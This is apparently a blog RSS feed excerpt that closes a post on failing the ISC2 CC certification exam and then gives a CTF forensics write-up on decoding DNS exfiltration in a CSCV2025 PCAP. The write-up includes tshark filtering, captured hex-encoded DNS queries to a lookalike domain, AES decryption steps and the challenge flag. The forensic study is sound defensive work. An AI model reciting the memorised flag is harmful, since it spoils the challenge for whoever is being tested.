<h2 id="heading-2-how-i-failed-the-isc2-cc-exam">2. How I Failed the ISC2 CC Exam</h2>
<p>To be honest, I only had a little over <strong>three days</strong> to prepare for this exam. I assumed that since it was theory-based, studying the materials and doing a few practice tests would be enough.</p>
<p>It wasn’t.</p>
<p>Here’s my exam result:  </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766592082390/fb9a5551-5941-478d-b073-661c0efacdb8.jpeg" alt="Result" class="image--center mx-auto" /></p>
<p>To pass, you need at least <strong>70/100</strong>. Although ISC2 doesn’t provide an exact score, based on the score report, I estimate I got around <strong>600–650</strong>, just a few dozen points short of passing 😭.</p>
<h3 id="heading-study-materials-i-used">Study Materials I Used</h3>
<p>Before the exam, I:</p>
<ul>
<li><p>Studied the official theory materials on the ISC2 website</p>
</li>
<li><p>Completed the mock tests provided there</p>
</li>
<li><p>Watched a YouTube series solving 200 practice questions</p>
</li>
</ul>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://www.youtube.com/watch?v=mlehQf-5pNc&amp;t=13156s">https://www.youtube.com/watch?v=mlehQf-5pNc&amp;t=13156s</a></div>
<p> </p>
<p>I also found several excellent resources that I didn’t have time to go through:</p>
<ul>
<li><p><a target="_blank" href="https://www.linkedin.com/learning/cert-prep-isc2-certified-in-cybersecurity-cc/cybersecurity-15121230">https://www.linkedin.com/learning/cert-prep-isc2-certified-in-cybersecurity-cc/cybersecurity-15121230</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/cyberfascinate/ISC2-CC-Study-Material">https://github.com/cyberfascinate/ISC2-CC-Study-Material</a></p>
</li>
<li><p><a target="_blank" href="https://viblo.asia/p/lam-the-nao-de-lay-duoc-chung-chi-sscp-GAWVpZ1oJ05">https://viblo.asia/p/lam-the-nao-de-lay-duoc-chung-chi-sscp-GAWVpZ1oJ05</a></p>
</li>
</ul>
<p>The exam experience itself was quite smooth—no technical issues at all. For those in Ho Chi Minh City, the exam is conducted at <strong>VNPro Informatics Center</strong>.</p>
<hr />
<h2 id="heading-3-lessons-learned-amp-exam-tips">3. Lessons Learned &amp; Exam Tips</h2>
<p>After sitting in the exam room for two hours, I realized that the questions were <strong>very tricky in wording</strong>. Often, a single question would have <strong>two or three options that all seemed correct</strong>. If you don’t study carefully and fully grasp the ISC2 mindset, you’ll feel like every answer is right.</p>
<p>To do well, you must truly understand the <strong>context</strong> of each question. When you choose an answer, you should challenge yourself:</p>
<ul>
<li><p>Why is this option correct?</p>
</li>
<li><p>What are its pros and cons?</p>
</li>
<li><p>Is it really the <em>best</em> choice?</p>
</li>
</ul>
<p>Most questions are framed as <em>“best in this case”</em>, which means it’s not about choosing a correct answer—it’s about choosing the <strong>most correct</strong> one.</p>
<p>To achieve that, you need to put yourself in the shoes of a <strong>manager</strong>, not a hacker. And for someone who comes from a pure CTF background like me, that’s not easy at all.</p>
<p>If I were to prepare again, this would be my plan:</p>
<ul>
<li><p><strong>Week 1:</strong> Study the theory thoroughly</p>
</li>
<li><p><strong>Next 2 weeks:</strong> Do mock tests from multiple sources</p>
<ul>
<li><p>For every wrong question, revisit the theory</p>
</li>
<li><p>Make sure you never make the same mistake again</p>
</li>
</ul>
</li>
</ul>
<p>Once you can consistently score <strong>80+/100</strong> on practice exams that closely resemble the real one, you’re probably ready.</p>
<p>As for me, I don’t think I’ll spend another <strong>$50</strong> to retake the exam.</p>
<hr />
<p>That’s my entire preparation journey, along with the lessons I learned from my very first certification exam. It was a <strong>free exam</strong>, but it gave me a real taste of what an international certification feels like.</p>
<p>If you’re a beginner—why not give it a try?</p>
<p>If you’ve taken the ISC2 CC or any other cybersecurity certification, I’d love to hear about your experience in the comments.</p>
<p>Wishing everyone who plans to take this exam the best of luck—and hopefully you won’t repeat the same mistakes I did.</p>
<p><strong>Best wishes!</strong></p>
]]></content:encoded></item><item><title><![CDATA[A problem forensic in CSCV2025]]></title><description><![CDATA[DNSEXFILL
Summary problem : I have a PCAP file which contain many DNS capture and two logs file I used the strings command on the PCAP file and noticed many common website here :+1:

As I continue scrolling , I found some suspicious strings :+1:

Pre...]]></description><link>https://dangkhoi.hashnode.dev/a-problem-forensic-in-cscv2025</link><guid isPermaLink="true">https://dangkhoi.hashnode.dev/a-problem-forensic-in-cscv2025</guid><category><![CDATA[#cscv]]></category><category><![CDATA[forensics]]></category><category><![CDATA[CTF]]></category><dc:creator><![CDATA[Khôi Nguyễn Đăng]]></dc:creator><pubDate>Sun, 21 Dec 2025 19:32:35 GMT</pubDate><content:encoded><![CDATA[<h1 id="heading-dnsexfill">DNSEXFILL</h1>
<p><strong>Summary problem : I have a PCAP file which contain many DNS capture and two logs file</strong> I used the strings command on the PCAP file and noticed many common website here :+1:</p>
<p><img src="https://hackmd.io/_uploads/BJ-m-O8Rge.png" alt="image" /></p>
<p>As I continue scrolling , I found some suspicious strings :+1:</p>
<p><img src="https://hackmd.io/_uploads/BJOEZdUAxg.png" alt="image" /></p>
<p>Press enter or click to view image in full size</p>
<p>I try filter this suspicious by command :</p>
<p><code>tshark -r 10.10.0.53_ns_capture.pcap -Y '</code><a target="_blank" href="http://dns.qry.name"><code>dns.qry.name</code></a> <code>contains "</code><a target="_blank" href="http://hex.cloudflar3.com"><code>hex.cloudflar3.com</code></a><code>"' -T fields -e</code> <a target="_blank" href="http://dns.qry.name"><code>dns.qry.name</code></a> <code>| uniq</code> This is result :</p>
<pre><code class="lang-plaintext">p.c7aec5d0d81ba8748acac6931e5add6c24b635181443d0b9d2.hex.cloudflar3.com
p.f8aad90d5fc7774c1e7ee451e755831cd02bfaac3204aed8a4.hex.cloudflar3.com
p.3dfec8a22cde4db4463db2c35742062a415441f526daecb59b.hex.cloudflar3.com
p.f6af1ecb8cc9827a259401e850e5e07fdc3c1137f1.hex.cloudflar3.com
f.6837abc6655c12c454abe0ca85a596e98473172829581235dd.hex.cloudflar3.com
f.95380b06bf6dd06b89118b0003ea044700a5f2c4c106c3.hex.cloudflar3.com
</code></pre>
<p>I reviewed the access file and logfile to see scan anything relative to hex that i find.</p>
<p>After some time, i finded keyword in the log file :+1:</p>
<p><img src="https://hackmd.io/_uploads/SJ0rWuURlg.png" alt="image" /></p>
<p>Press enter or click to view image in full size</p>
<p>Finally , i was able to encode SHA256 hash withAPP-SECREC key , divide it to an aes-key and aes-iv , and them use to decode hex values</p>
<p><img src="https://hackmd.io/_uploads/By8L-OL0ge.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/BkaIb_UAeg.png" alt="image" /></p>
<p>Flag :</p>
<p><code>CSCV2025{DnS_Exf1ltr4ti0nnnnnnnnnnNN!!}</code></p>
]]></content:encoded></item></channel></rss>